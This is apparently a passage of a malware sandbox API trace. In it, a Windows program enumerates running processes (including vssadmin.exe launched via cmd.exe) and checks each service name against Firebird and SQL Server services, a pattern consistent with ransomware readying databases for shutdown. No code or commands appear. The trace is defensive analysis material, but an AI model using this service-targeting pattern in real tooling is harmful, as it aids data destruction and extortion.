[0131.545] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0131.546] lstrlenW (lpString="old.exe") returned 7 [0131.546] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0131.547] lstrlenW (lpString="xi cg.exe") returned 9 [0131.547] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0131.547] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0131.547] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0131.548] lstrlenW (lpString="burlington.exe") returned 14 [0131.548] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0131.548] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0131.549] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0131.549] lstrlenW (lpString="buildings.exe") returned 13 [0131.549] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0131.550] lstrlenW (lpString="predictions_took.exe") returned 20 [0131.550] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0131.551] lstrlenW (lpString="carry_dns.exe") returned 13 [0131.551] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0131.551] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0131.551] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.552] lstrlenW (lpString="svchost.exe") returned 11 [0131.552] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0131.553] lstrlenW (lpString="sppsvc.exe") returned 10 [0131.553] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.554] lstrlenW (lpString="svchost.exe") returned 11 [0131.554] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0131.554] lstrlenW (lpString="msiexec.exe") returned 11 [0131.554] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0131.555] lstrlenW (lpString="cmd.exe") returned 7 [0131.555] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.556] lstrlenW (lpString="conhost.exe") returned 11 [0131.556] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0131.557] lstrlenW (lpString="vssadmin.exe") returned 12 [0131.557] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0131.557] lstrlenW (lpString="VSSVC.exe") returned 9 [0131.557] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.558] lstrlenW (lpString="svchost.exe") returned 11 [0131.558] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0131.559] CloseHandle (hObject=0x220) returned 1 [0131.559] Sleep (dwMilliseconds=0x1f4) [0132.208] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0132.208] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0132.208] GetLastError () returned 0xea [0132.208] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0132.209] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0132.209] lstrlenW (lpString="Appinfo") returned 7 [0132.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0132.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0132.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0132.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0132.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0132.209] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0132.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.209] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0132.209] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0132.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0132.209] lstrlenW (lpString="AudioSrv") returned 8 [0132.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0132.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0132.209] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0132.209] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0132.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0132.209] lstrlenW (lpString="BFE") returned 3 [0132.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0132.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0132.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0132.210] lstrlenW (lpString="CryptSvc") returned 8 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0132.210] lstrlenW (lpString="CscService") returned 10 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0132.210] lstrlenW (lpString="DcomLaunch") returned 10 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0132.210] lstrlenW (lpString="Dhcp") returned 4 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0132.210] lstrlenW (lpString="Dnscache") returned 8 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0132.210] lstrlenW (lpString="DPS") returned 3 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0132.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0132.210] lstrlenW (lpString="eventlog") returned 8 [0132.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0132.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0132.210] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0132.210] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0132.211] lstrlenW (lpString="EventSystem") returned 11 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0132.211] lstrlenW (lpString="FontCache") returned 9 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0132.211] lstrlenW (lpString="gpsvc") returned 5 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0132.211] lstrlenW (lpString="iphlpsvc") returned 8 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0132.211] lstrlenW (lpString="LanmanServer") returned 12 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0132.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0132.211] lstrlenW (lpString="lmhosts") returned 7 [0132.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0132.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0132.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0132.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0132.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0132.211] lstrlenW (lpString="MMCSS") returned 5 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0132.212] lstrlenW (lpString="MpsSvc") returned 6 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0132.212] lstrlenW (lpString="Netman") returned 6 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0132.212] lstrlenW (lpString="netprofm") returned 8 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0132.212] lstrlenW (lpString="NlaSvc") returned 6 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0132.212] lstrlenW (lpString="nsi") returned 3 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0132.212] lstrlenW (lpString="PcaSvc") returned 6 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0132.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0132.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0132.212] lstrlenW (lpString="PlugPlay") returned 8 [0132.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0132.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0132.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0132.213] lstrlenW (lpString="Power") returned 5 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0132.213] lstrlenW (lpString="ProfSvc") returned 7 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0132.213] lstrlenW (lpString="RpcEptMapper") returned 12 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0132.213] lstrlenW (lpString="RpcSs") returned 5 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0132.213] lstrlenW (lpString="SamSs") returned 5 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0132.213] lstrlenW (lpString="Schedule") returned 8 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0132.213] lstrlenW (lpString="SENS") returned 4 [0132.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0132.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0132.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0132.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0132.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0132.214] lstrlenW (lpString="ShellHWDetection") returned 16 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0132.214] lstrlenW (lpString="Spooler") returned 7 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0132.214] lstrlenW (lpString="sppsvc") returned 6 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0132.214] lstrlenW (lpString="swprv") returned 5 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0132.214] lstrlenW (lpString="SysMain") returned 7 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0132.214] lstrlenW (lpString="Themes") returned 6 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0132.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0132.214] lstrlenW (lpString="TrkWks") returned 6 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0132.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0132.214] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0132.214] 